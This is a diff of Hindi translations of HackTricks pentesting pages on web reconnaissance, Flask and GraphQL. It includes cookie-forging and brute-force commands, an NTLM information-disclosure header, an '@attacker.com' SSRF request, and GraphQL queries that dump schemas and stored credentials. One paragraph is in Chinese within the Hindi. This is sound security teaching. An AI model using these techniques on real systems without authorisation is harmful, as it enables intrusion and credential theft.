- यदि आप **API एंडपॉइंट्स** पाते हैं तो आपको [उन्हें भी परीक्षण करना चाहिए](web-api-pentesting.md)। ये फ़ाइलें नहीं हैं, लेकिन शायद "ऐसी ही" दिखेंगी।
|
||||
- **JS फ़ाइलें**: स्पाइडरिंग अनुभाग में कई उपकरणों का उल्लेख किया गया था जो JS फ़ाइलों से पथ निकाल सकते हैं। इसके अलावा, यह **प्रत्येक JS फ़ाइल** की निगरानी करना दिलचस्प होगा, क्योंकि कुछ अवसरों पर, एक परिवर्तन यह संकेत दे सकता है कि कोड में एक संभावित कमजोरी पेश की गई है। आप उदाहरण के लिए [**JSMon**](https://github.com/robre/jsmon)** का उपयोग कर सकते हैं।**
|
||||
- आपको [**RetireJS**](https://github.com/retirejs/retire.js/) या [**JSHole**](https://github.com/callforpapers-source/jshole) के साथ खोजी गई JS फ़ाइलों की भी जांच करनी चाहिए कि क्या यह कमजोर है।
|
||||
- **जावास्क्रिप्ट डिओबफस्केटर और अनपैकर:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
|
||||
- **जावास्क्रिप्ट ब्यूटीफायर:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
|
||||
- **JsFuck डिओबफस्केशन** (जावास्क्रिप्ट के साथ अक्षर: "\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
|
||||
- [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
|
||||
- कई अवसरों पर, आपको उपयोग की गई नियमित अभिव्यक्तियों को **समझने** की आवश्यकता होगी। यह उपयोगी होगा: [https://regex101.com/](https://regex101.com) या [https://pythonium.net/regex](https://pythonium.net/regex)
|
||||
- आप उन फ़ाइलों की भी **निगरानी कर सकते हैं जहां फ़ॉर्म पाए गए थे**, क्योंकि पैरामीटर में परिवर्तन या नए फ़ॉर्म का प्रकट होना एक संभावित नए कमजोर कार्यक्षमता का संकेत दे सकता है।
|
||||
|
||||
**403 निषिद्ध/बुनियादी प्रमाणीकरण/401 अनधिकृत (बायपास)**
|
||||
|
||||
{{#ref}}
|
||||
403-and-401-bypasses.md
|
||||
{{#endref}}
|
||||
|
||||
**502 प्रॉक्सी त्रुटि**
|
||||
|
||||
यदि कोई पृष्ठ **उस कोड** के साथ **प्रतिक्रिया** करता है, तो यह शायद एक **खराब कॉन्फ़िगर की गई प्रॉक्सी** है। **यदि आप एक HTTP अनुरोध भेजते हैं जैसे: `GET https://google.com HTTP/1.1`** (होस्ट हेडर और अन्य सामान्य हेडर के साथ), तो **प्रॉक्सी** _**google.com**_ **तक पहुँचने की कोशिश करेगी** और आप एक **SSRF** पाएंगे।
|
||||
|
||||
**NTLM प्रमाणीकरण - जानकारी का खुलासा**
|
||||
|
||||
यदि चल रहा सर्वर प्रमाणीकरण के लिए **Windows** है या आप अपने **क्रेडेंशियल्स** के लिए एक लॉगिन पाते हैं (और **डोमेन** **नाम** के लिए पूछता है), तो आप एक **जानकारी का खुलासा** कर सकते हैं।\
|
||||
**हेडर** भेजें: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` और जिस तरह से **NTLM प्रमाणीकरण काम करता है**, सर्वर "WWW-Authenticate" हेडर के अंदर आंतरिक जानकारी (IIS संस्करण, Windows संस्करण...) के साथ प्रतिक्रिया देगा।\
|
||||
आप **nmap प्लगइन** "_http-ntlm-info.nse_" का उपयोग करके इसे **स्वचालित** कर सकते हैं।
|
||||
|
||||
**HTTP रीडायरेक्ट (CTF)**
|
||||
|
||||
यह संभव है कि **रेडायरेक्शन** के अंदर **सामग्री** डाली जाए। यह सामग्री **उपयोगकर्ता को नहीं दिखाई देगी** (क्योंकि ब्राउज़र रीडायरेक्शन को निष्पादित करेगा) लेकिन वहाँ कुछ **छिपा** हो सकता है।
|
||||
|
||||
### वेब कमजोरियों की जांच
|
||||
|
||||
अब जब वेब एप्लिकेशन का एक व्यापक सूचीकरण किया गया है, तो संभावित कमजोरियों की जांच करने का समय है। आप चेकलिस्ट यहाँ पा सकते हैं:
|
||||
अब जब वेब एप्लिकेशन का एक व्यापक अनुक्रमण किया गया है, तो संभावित कमजोरियों की जांच करने का समय है। आप चेकलिस्ट यहाँ पा सकते हैं:
|
||||
|
||||
{{#ref}}
|
||||
../../pentesting-web/web-vulnerabilities-methodology.md
|
||||
{{#endref}}
|
||||
|
||||
वेब कमजोरियों के बारे में अधिक जानकारी प्राप्त करें:
|
||||
|
||||
- [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist)
|
||||
- [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html)
|
||||
- [https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection](https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection)
|
||||
|
||||
### पृष्ठों की निगरानी करें
|
||||
|
||||
आप [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) जैसे उपकरणों का उपयोग करके पृष्ठों की निगरानी कर सकते हैं ताकि उन परिवर्तनों का पता लगाया जा सके जो कमजोरियों को सम्मिलित कर सकते हैं।
|
||||
आप [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) जैसे उपकरणों का उपयोग करके पृष्ठों की निगरानी कर सकते हैं ताकि संशोधनों की पहचान की जा सके जो कमजोरियों को डाल सकते हैं।
|
||||
|
||||
### HackTricks स्वचालित आदेश
|
||||
```
|
||||
Protocol_Name: Web #Protocol Abbreviation if there is one.
|
||||
Port_Number: 80,443 #Comma separated if there is more than one.
|
||||
|
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
**संभवतः यदि आप एक CTF खेल रहे हैं तो एक Flask एप्लिकेशन** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/)** से संबंधित होगा।**
|
||||
**संभवतः यदि आप एक CTF खेल रहे हैं तो एक Flask एप्लिकेशन** [**SSTI**](../../pentesting-web/ssti-server-side-template-injection/index.html)** से संबंधित होगा।**
|
||||
|
||||
## Cookies
|
||||
|
||||
@ -48,7 +48,7 @@ flask-unsign --sign --cookie "{'logged_in': True}" --secret 'CHANGEME' --legacy
|
||||
```
|
||||
### **RIPsession**
|
||||
|
||||
कमान्ड लाइन टूल जो flask-unsign के साथ बनाए गए कुकीज़ का उपयोग करके वेबसाइटों पर ब्रूट-फोर्स करने के लिए है।
|
||||
कमान्ड लाइन टूल जो flask-unsign के साथ बनाए गए कुकीज़ का उपयोग करके वेबसाइटों पर ब्रूट-फोर्स करता है।
|
||||
|
||||
{{#ref}}
|
||||
https://github.com/Tagvi/ripsession
|
||||
@ -58,11 +58,11 @@ ripsession -u 10.10.11.100 -c "{'logged_in': True, 'username': 'changeMe'}" -s p
|
||||
```
|
||||
### Flask सत्र कुकी में SQLi SQLmap के साथ
|
||||
|
||||
[**यह उदाहरण**](../../pentesting-web/sql-injection/sqlmap/index.html#eval) sqlmap `eval` विकल्प का उपयोग करता है ताकि **flask के लिए sqlmap पेलोड को स्वचालित रूप से साइन किया जा सके** एक ज्ञात गुप्त कुंजी का उपयोग करके।
|
||||
[**यह उदाहरण**](../../pentesting-web/sql-injection/sqlmap/index.html#eval) sqlmap `eval` विकल्प का उपयोग करता है ताकि **फ्लास्क के लिए sqlmap पेलोड को स्वचालित रूप से साइन किया जा सके** एक ज्ञात गुप्त कुंजी का उपयोग करके।
|
||||
|
||||
## SSRF के लिए Flask प्रॉक्सी
|
||||
|
||||
[**इस लेख में**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) यह समझाया गया है कि Flask कैसे एक अनुरोध की अनुमति देता है जो वर्ण "@" से शुरू होता है:
|
||||
[**इस लेख में**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) यह समझाया गया है कि कैसे Flask एक अनुरोध की अनुमति देता है जो चरित्र "@" से शुरू होता है:
|
||||
```http
|
||||
GET @/ HTTP/1.1
|
||||
Host: target.com
|
||||
@ -83,6 +83,6 @@ return get(f'{SITE_NAME}{path}').content
|
||||
|
||||
app.run(host='0.0.0.0', port=8080)
|
||||
```
|
||||
कुछ ऐसा "@attacker.com" पेश करने की अनुमति दे सकता है जिससे **SSRF** हो सके।
|
||||
कुछ ऐसा "@attacker.com" पेश करने की अनुमति दे सकता है जिससे **SSRF** हो सके।
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## Introduction
|
||||
|
||||
GraphQL को **REST API के लिए एक प्रभावी विकल्प** के रूप में **उजागर** किया गया है, जो बैकएंड से डेटा क्वेरी करने के लिए एक सरल दृष्टिकोण प्रदान करता है। REST के विपरीत, जो अक्सर डेटा इकट्ठा करने के लिए विभिन्न एंडपॉइंट्स पर कई अनुरोधों की आवश्यकता होती है, GraphQL सभी आवश्यक जानकारी को **एकल अनुरोध** के माध्यम से लाने की अनुमति देता है। यह सरलता **डेवलपर्स के लिए लाभकारी** है क्योंकि यह उनके डेटा लाने की प्रक्रियाओं की जटिलता को कम करती है।
|
||||
GraphQL को **REST API के लिए एक प्रभावी विकल्प** के रूप में **उजागर** किया गया है, जो बैकएंड से डेटा क्वेरी करने के लिए एक सरल दृष्टिकोण प्रदान करता है। REST के विपरीत, जो अक्सर डेटा इकट्ठा करने के लिए विभिन्न एंडपॉइंट्स पर कई अनुरोधों की आवश्यकता होती है, GraphQL सभी आवश्यक जानकारी को **एकल अनुरोध** के माध्यम से लाने की अनुमति देता है। यह सरलता **डेवलपर्स के लिए महत्वपूर्ण लाभ** प्रदान करती है क्योंकि यह उनके डेटा लाने की प्रक्रियाओं की जटिलता को कम करती है।
|
||||
|
||||
## GraphQL और सुरक्षा
|
||||
|
||||
@ -31,7 +31,7 @@ GraphQL को **REST API के लिए एक प्रभावी वि
|
||||
|
||||
#### यूनिवर्सल क्वेरीज़ <a href="#universal-queries" id="universal-queries"></a>
|
||||
|
||||
यह जांचने के लिए कि क्या एक URL एक GraphQL सेवा है, एक **यूनिवर्सल क्वेरी**, `query{__typename}`, भेजी जा सकती है। यदि प्रतिक्रिया में `{"data": {"__typename": "Query"}}` शामिल है, तो यह पुष्टि करता है कि URL एक GraphQL एंडपॉइंट होस्ट करता है। यह विधि GraphQL के `__typename` फ़ील्ड पर निर्भर करती है, जो क्वेरी किए गए ऑब्जेक्ट के प्रकार को प्रकट करती है।
|
||||
यह जांचने के लिए कि क्या एक URL एक GraphQL सेवा है, एक **यूनिवर्सल क्वेरी**, `query{__typename}`, भेजी जा सकती है। यदि प्रतिक्रिया में `{"data": {"__typename": "Query"}}` शामिल है, तो यह पुष्टि करता है कि URL एक GraphQL एंडपॉइंट होस्ट करता है। यह विधि GraphQL के `__typename` फ़ील्ड पर निर्भर करती है, जो क्वेरी की गई वस्तु के प्रकार को प्रकट करती है।
|
||||
```javascript
|
||||
query{__typename}
|
||||
```
|
||||
@ -45,13 +45,13 @@ Schema जानकारी खोजने के लिए introspection क
|
||||
```bash
|
||||
query={__schema{types{name,fields{name}}}}
|
||||
```
|
||||
इस क्वेरी के साथ आप सभी प्रकारों के नाम पाएंगे जो उपयोग किए जा रहे हैं:
|
||||
इस क्वेरी के साथ आप सभी प्रकारों के नाम पाएंगे जो उपयोग किए जा रहे हैं:
|
||||
|
||||
.png>)
|
||||
```bash
|
||||
query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}
|
||||
```
|
||||
इस क्वेरी के साथ आप सभी प्रकार, उनके फ़ील्ड और उनके तर्क (और तर्क का प्रकार) निकाल सकते हैं। यह डेटाबेस को क्वेरी करने के तरीके को जानने के लिए बहुत उपयोगी होगा।
|
||||
इस क्वेरी के साथ आप सभी प्रकार, उनके फ़ील्ड और उनके तर्क (और तर्कों का प्रकार) निकाल सकते हैं। यह डेटाबेस को क्वेरी करने के तरीके को जानने के लिए बहुत उपयोगी होगा।
|
||||
|
||||
.png>)
|
||||
|
||||
@ -162,7 +162,7 @@ name
|
||||
```
|
||||
/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}
|
||||
```
|
||||
अंतिम कोड पंक्ति एक graphql क्वेरी है जो graphql से सभी मेटा-जानकारी (ऑब्जेक्ट नाम, पैरामीटर, प्रकार...) को डंप करेगी।
|
||||
अंतिम कोड लाइन एक graphql क्वेरी है जो graphql से सभी मेटा-जानकारी (ऑब्जेक्ट नाम, पैरामीटर, प्रकार...) को डंप करेगी।
|
||||
|
||||
.png>)
|
||||
|
||||
@ -172,7 +172,7 @@ name
|
||||
|
||||
अब जब हम जानते हैं कि डेटाबेस के अंदर किस प्रकार की जानकारी सहेजी गई है, तो चलिए **कुछ मान निकालने** की कोशिश करते हैं।
|
||||
|
||||
इंट्रोस्पेक्शन में आप **यह देख सकते हैं कि आप किस ऑब्जेक्ट के लिए सीधे क्वेरी कर सकते हैं** (क्योंकि आप केवल इसलिए क्वेरी नहीं कर सकते कि ऑब्जेक्ट मौजूद है)। निम्नलिखित छवि में आप देख सकते हैं कि "_queryType_" को "_Query_" कहा जाता है और "_Query_" ऑब्जेक्ट के फ़ील्ड में से एक "_flags_" है, जो एक ऑब्जेक्ट का प्रकार भी है। इसलिए आप फ्लैग ऑब्जेक्ट के लिए क्वेरी कर सकते हैं।
|
||||
इंट्रोस्पेक्शन में आप **कौन सा ऑब्जेक्ट आप सीधे क्वेरी कर सकते हैं** यह जान सकते हैं (क्योंकि आप केवल इसलिए क्वेरी नहीं कर सकते कि एक ऑब्जेक्ट मौजूद है)। निम्नलिखित छवि में आप देख सकते हैं कि "_queryType_" को "_Query_" कहा जाता है और "_Query_" ऑब्जेक्ट के फ़ील्ड में से एक "_flags_" है, जो एक ऑब्जेक्ट का प्रकार भी है। इसलिए आप फ्लैग ऑब्जेक्ट को क्वेरी कर सकते हैं।
|
||||
|
||||

|
||||
|
||||
@ -180,7 +180,7 @@ name
|
||||
|
||||
.png>)
|
||||
|
||||
आप देख सकते हैं कि "_Flags_" ऑब्जेक्ट **name** और **value** से मिलकर बने हैं। फिर आप क्वेरी के साथ फ्लैग के सभी नाम और मान प्राप्त कर सकते हैं:
|
||||
आप देख सकते हैं कि "_Flags_" ऑब्जेक्ट **name** और **value** से मिलकर बने हैं। फिर आप क्वेरी के साथ सभी फ्लैग के नाम और मान प्राप्त कर सकते हैं:
|
||||
```javascript
|
||||
query={flags{name, value}}
|
||||
```
|
||||
@ -192,7 +192,7 @@ query={flags{name, value}}
|
||||
```javascript
|
||||
query = { hiddenFlags }
|
||||
```
|
||||
एक अन्य उदाहरण में जहाँ "_Query_" प्रकार के ऑब्जेक्ट के अंदर 2 ऑब्जेक्ट थे: "_user_" और "_users_"।\
|
||||
एक अन्य उदाहरण में जहाँ "_Query_" प्रकार के ऑब्जेक्ट के अंदर 2 ऑब्जेक्ट थे: "_user_" और "_users_".\
|
||||
यदि इन ऑब्जेक्ट्स को खोजने के लिए किसी भी तर्क की आवश्यकता नहीं है, तो आप **उनसे सभी जानकारी प्राप्त कर सकते हैं** बस **आपके द्वारा मांगी गई डेटा** के लिए। इस इंटरनेट उदाहरण में आप सहेजे गए उपयोगकर्ता नाम और पासवर्ड निकाल सकते हैं:
|
||||
|
||||
.png>)
|
||||
@ -201,10 +201,10 @@ query = { hiddenFlags }
|
||||
|
||||
.png>)
|
||||
|
||||
ऐसा लगता है कि यह किसी तरह "_**uid**_" तर्क का उपयोग करके खोज करेगा जो _**Int**_ प्रकार का है।\
|
||||
ऐसा लगता है कि यह किसी तरह "_**uid**_" तर्क का उपयोग करके खोज करेगा, जो _**Int**_ प्रकार का है।\
|
||||
खैर, हम पहले से ही जानते थे कि, [Basic Enumeration](graphql.md#basic-enumeration) अनुभाग में एक क्वेरी प्रस्तावित की गई थी जो हमें सभी आवश्यक जानकारी दिखा रही थी: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}`
|
||||
|
||||
यदि आप प्रदान की गई छवि को पढ़ते हैं जब मैं उस क्वेरी को चलाता हूँ, तो आप देखेंगे कि "_**user**_" के पास _Int_ प्रकार का **arg** "_**uid**_" था।
|
||||
यदि आप प्रदान की गई छवि को पढ़ते हैं जब मैं उस क्वेरी को चलाता हूँ, तो आप देखेंगे कि "_**user**_" के पास **arg** "_**uid**_" _Int_ प्रकार का था।
|
||||
|
||||
तो, कुछ हल्की _**uid**_ ब्रूटफोर्स करते हुए मैंने पाया कि _**uid**=**1**_ पर एक उपयोगकर्ता नाम और पासवर्ड प्राप्त हुआ:\
|
||||
`query={user(uid:1){user,password}}`
|
||||
@ -219,11 +219,11 @@ query = { hiddenFlags }
|
||||
|
||||
**Query string dump trick (धन्यवाद @BinaryShadow\_)**
|
||||
|
||||
यदि आप एक स्ट्रिंग प्रकार द्वारा खोज सकते हैं, जैसे: `query={theusers(description: ""){username,password}}` और आप **खाली स्ट्रिंग** के लिए **खोजते हैं** तो यह **सभी डेटा डंप करेगा**। (_ध्यान दें कि यह उदाहरण ट्यूटोरियल के उदाहरण से संबंधित नहीं है, इस उदाहरण के लिए मान लें कि आप "**theusers**" को "**description**" नामक स्ट्रिंग फ़ील्ड द्वारा खोज सकते हैं_)।
|
||||
यदि आप एक स्ट्रिंग प्रकार द्वारा खोज सकते हैं, जैसे: `query={theusers(description: ""){username,password}}` और आप **खाली स्ट्रिंग** के लिए **खोजते हैं** तो यह **सभी डेटा डंप करेगा**। (_इस उदाहरण को ट्यूटोरियल के उदाहरण से संबंधित नहीं माना जाता है, इस उदाहरण के लिए मान लें कि आप "**theusers**" को एक स्ट्रिंग फ़ील्ड "**description**" द्वारा खोज सकते हैं_)।
|
||||
|
||||
### खोज
|
||||
|
||||
इस सेटअप में, एक **डेटाबेस** में **व्यक्तियाँ** और **फिल्में** होती हैं। **व्यक्तियाँ** को उनके **ईमेल** और **नाम** द्वारा पहचाना जाता है; **फिल्में** उनके **नाम** और **रेटिंग** द्वारा। **व्यक्तियाँ** एक-दूसरे के साथ दोस्त हो सकती हैं और साथ ही फिल्में भी रख सकती हैं, जो डेटाबेस के भीतर संबंधों को इंगित करती हैं।
|
||||
इस सेटअप में, एक **डेटाबेस** में **व्यक्तियाँ** और **फिल्में** होती हैं। **व्यक्तियों** की पहचान उनके **ईमेल** और **नाम** से होती है; **फिल्मों** की पहचान उनके **नाम** और **रेटिंग** से होती है। **व्यक्तियाँ** एक-दूसरे के साथ दोस्त हो सकती हैं और भी फिल्में रख सकती हैं, जो डेटाबेस के भीतर संबंधों को इंगित करती हैं।
|
||||
|
||||
आप **नाम** द्वारा व्यक्तियों की **खोज** कर सकते हैं और उनके ईमेल प्राप्त कर सकते हैं:
|
||||
```javascript
|
||||
@ -250,7 +250,7 @@ name
|
||||
```
|
||||
ध्यान दें कि व्यक्ति के `subscribedMovies` का `name` प्राप्त करने के लिए कैसे संकेत दिया गया है।
|
||||
|
||||
आप **एक ही समय में कई वस्तुओं की खोज** भी कर सकते हैं। इस मामले में, 2 फिल्मों की खोज की जाती है:
|
||||
आप **एक साथ कई वस्तुओं की खोज** भी कर सकते हैं। इस मामले में, 2 फिल्मों की खोज की जाती है:
|
||||
```javascript
|
||||
{
|
||||
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
|
||||
@ -258,7 +258,7 @@ name
|
||||
}
|
||||
}r
|
||||
```
|
||||
या यहां तक कि **उपनामों का उपयोग करके कई विभिन्न वस्तुओं के संबंध**:
|
||||
या यहां तक कि **विभिन्न वस्तुओं के कई संबंधों का उपयोग करते हुए उपनाम**:
|
||||
```javascript
|
||||
{
|
||||
johnsMovieList: searchPerson(name: "John Doe") {
|
||||
@ -285,11 +285,11 @@ name
|
||||
|
||||
**म्यूटेशन सर्वर-साइड में परिवर्तन करने के लिए उपयोग किए जाते हैं।**
|
||||
|
||||
**इंट्रोस्पेक्शन** में आप **घोषित** **म्यूटेशन** पा सकते हैं। निम्नलिखित छवि में "_MutationType_" को "_Mutation_" कहा जाता है और "_Mutation_" ऑब्जेक्ट में म्यूटेशन के नाम होते हैं (जैसे कि इस मामले में "_addPerson_"):
|
||||
**इंट्रोस्पेक्शन** में आप **घोषित** **म्यूटेशन** पा सकते हैं। निम्नलिखित चित्र में "_MutationType_" को "_Mutation_" कहा जाता है और "_Mutation_" ऑब्जेक्ट में म्यूटेशन के नाम होते हैं (जैसे कि इस मामले में "_addPerson_"):
|
||||
|
||||
.png>)
|
||||
|
||||
इस सेटअप में, एक **डेटाबेस** में **व्यक्तियाँ** और **फिल्में** होती हैं। **व्यक्तियों** की पहचान उनके **ईमेल** और **नाम** से होती है; **फिल्मों** की पहचान उनके **नाम** और **रेटिंग** से होती है। **व्यक्तियाँ** एक-दूसरे के साथ दोस्त बन सकती हैं और साथ ही फिल्मों का भी स्वामित्व रख सकती हैं, जो डेटाबेस के भीतर संबंधों को दर्शाता है।
|
||||
इस सेटअप में, एक **डेटाबेस** में **व्यक्तियाँ** और **फिल्में** होती हैं। **व्यक्तियों** की पहचान उनके **ईमेल** और **नाम** से होती है; **फिल्मों** की पहचान उनके **नाम** और **रेटिंग** से होती है। **व्यक्तियाँ** एक-दूसरे के साथ दोस्त बन सकती हैं और फिल्में भी रख सकती हैं, जो डेटाबेस के भीतर संबंधों को दर्शाती हैं।
|
||||
|
||||
डेटाबेस के भीतर **नई** फिल्मों को **बनाने** के लिए एक म्यूटेशन इस प्रकार हो सकता है (इस उदाहरण में म्यूटेशन को `addMovie` कहा जाता है):
|
||||
```javascript
|
||||
@ -302,9 +302,9 @@ rating
|
||||
}
|
||||
}
|
||||
```
|
||||
**नोट करें कि क्वेरी में डेटा के दोनों मान और प्रकार कैसे इंगित किए गए हैं।**
|
||||
**नोट करें कि कैसे दोनों मान और डेटा के प्रकार को क्वेरी में दर्शाया गया है।**
|
||||
|
||||
इसके अतिरिक्त, डेटाबेस एक **म्यूटेशन** ऑपरेशन का समर्थन करता है, जिसका नाम `addPerson` है, जो **व्यक्तियों** के निर्माण की अनुमति देता है, साथ ही उनके मौजूदा **दोस्तों** और **फिल्मों** के साथ संबंध भी। यह महत्वपूर्ण है कि दोस्तों और फिल्मों को नए बनाए गए व्यक्ति से लिंक करने से पहले डेटाबेस में पहले से मौजूद होना चाहिए।
|
||||
इसके अतिरिक्त, डेटाबेस एक **म्यूटेशन** ऑपरेशन का समर्थन करता है, जिसका नाम `addPerson` है, जो **व्यक्तियों** के निर्माण की अनुमति देता है साथ ही उनके मौजूदा **दोस्तों** और **फिल्मों** के साथ संबंध बनाने की भी। यह महत्वपूर्ण है कि दोस्तों और फिल्मों को नए बनाए गए व्यक्ति से लिंक करने से पहले डेटाबेस में पहले से मौजूद होना चाहिए।
|
||||
```javascript
|
||||
mutation {
|
||||
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
|
||||
@ -355,7 +355,7 @@ GraphQL API के माध्यम से **विभिन्न क्र
|
||||
|
||||
此外,Burp Suite扩展[**GraphQuail**](https://github.com/forcesunseen/graphquail)扩展**观察通过Burp的GraphQL API请求**并**构建**一个内部GraphQL**架构**,每当它看到新的查询时。它还可以为GraphiQL和Voyager公开架构。当它收到自省查询时,扩展返回一个假响应。因此,GraphQuail显示所有可用于API的查询、参数和字段。有关更多信息,请[**查看此处**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema)。
|
||||
|
||||
一个不错的**单词列表**可以在这里发现[**GraphQL实体**](https://github.com/Escape-Technologies/graphql-wordlist?)。
|
||||
一个很好的**单词列表**可以在这里发现[**GraphQL实体**](https://github.com/Escape-Technologies/graphql-wordlist?)。
|
||||
|
||||
### Bypassing GraphQL introspection defences <a href="#bypassing-graphql-introspection-defences" id="bypassing-graphql-introspection-defences"></a>
|
||||
|
||||
@ -421,19 +421,19 @@ file:* query
|
||||
```javascript
|
||||
query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A
|
||||
```
|
||||
इसलिए, जैसे कि पिछले CSRF अनुरोध बिना **preflight requests** के भेजे जाते हैं, यह संभव है कि CSRF का दुरुपयोग करके GraphQL में **परिवर्तन** **किए** जाएं।
|
||||
इसलिए, जैसे कि पिछले CSRF अनुरोध **बिना प्रीफ्लाइट अनुरोधों** के भेजे जाते हैं, यह संभव है कि CSRF का दुरुपयोग करके GraphQL में **परिवर्तन** **किए** जाएं।
|
||||
|
||||
हालांकि, ध्यान दें कि Chrome के `samesite` ध्वज का नया डिफ़ॉल्ट कुकी मान `Lax` है। इसका मतलब है कि कुकी केवल तीसरे पक्ष की वेबसाइट से GET अनुरोधों में भेजी जाएगी।
|
||||
हालांकि, ध्यान दें कि Chrome के `samesite` ध्वज का नया डिफ़ॉल्ट कुकी मान `Lax` है। इसका मतलब है कि कुकी केवल GET अनुरोधों में एक तीसरे पक्ष की वेबसाइट से भेजी जाएगी।
|
||||
|
||||
ध्यान दें कि आमतौर पर **query** **request** को भी **GET** **request** के रूप में भेजना संभव है और CSRF टोकन को GET अनुरोध में मान्य नहीं किया जा सकता है।
|
||||
ध्यान दें कि आमतौर पर **क्वेरी** **अनुरोध** को **GET** **अनुरोध** के रूप में भेजना भी संभव है और CSRF टोकन को GET अनुरोध में मान्य नहीं किया जा सकता है।
|
||||
|
||||
इसके अलावा, [**XS-Search**](../../pentesting-web/xs-search/) **हमले** का दुरुपयोग करके GraphQL एंडपॉइंट से सामग्री को उपयोगकर्ता के क्रेडेंशियल्स का दुरुपयोग करके निकालना संभव हो सकता है।
|
||||
इसके अलावा, [**XS-Search**](../../pentesting-web/xs-search/index.html) **हमले** का दुरुपयोग करके GraphQL एंडपॉइंट से सामग्री को उपयोगकर्ता के क्रेडेंशियल्स का दुरुपयोग करके निकालना संभव हो सकता है।
|
||||
|
||||
अधिक जानकारी के लिए **यहां** [**मूल पोस्ट देखें**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html)।
|
||||
अधिक जानकारी के लिए **यहां मूल पोस्ट देखें** [**यहां**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html)।
|
||||
|
||||
## GraphQL में क्रॉस-साइट वेब्सॉक हाईजैकिंग
|
||||
## GraphQL में क्रॉस-साइट वेबसॉकेट हाइजैकिंग
|
||||
|
||||
CRSF कमजोरियों के समान, GraphQL का दुरुपयोग करने के लिए **क्रॉस-साइट वेब्सॉक हाईजैकिंग** करना भी संभव है, जिससे GraphQL के साथ असुरक्षित कुकीज़ के साथ प्रमाणीकरण का दुरुपयोग किया जा सके और उपयोगकर्ता को GraphQL में अप्रत्याशित क्रियाएँ करने के लिए मजबूर किया जा सके।
|
||||
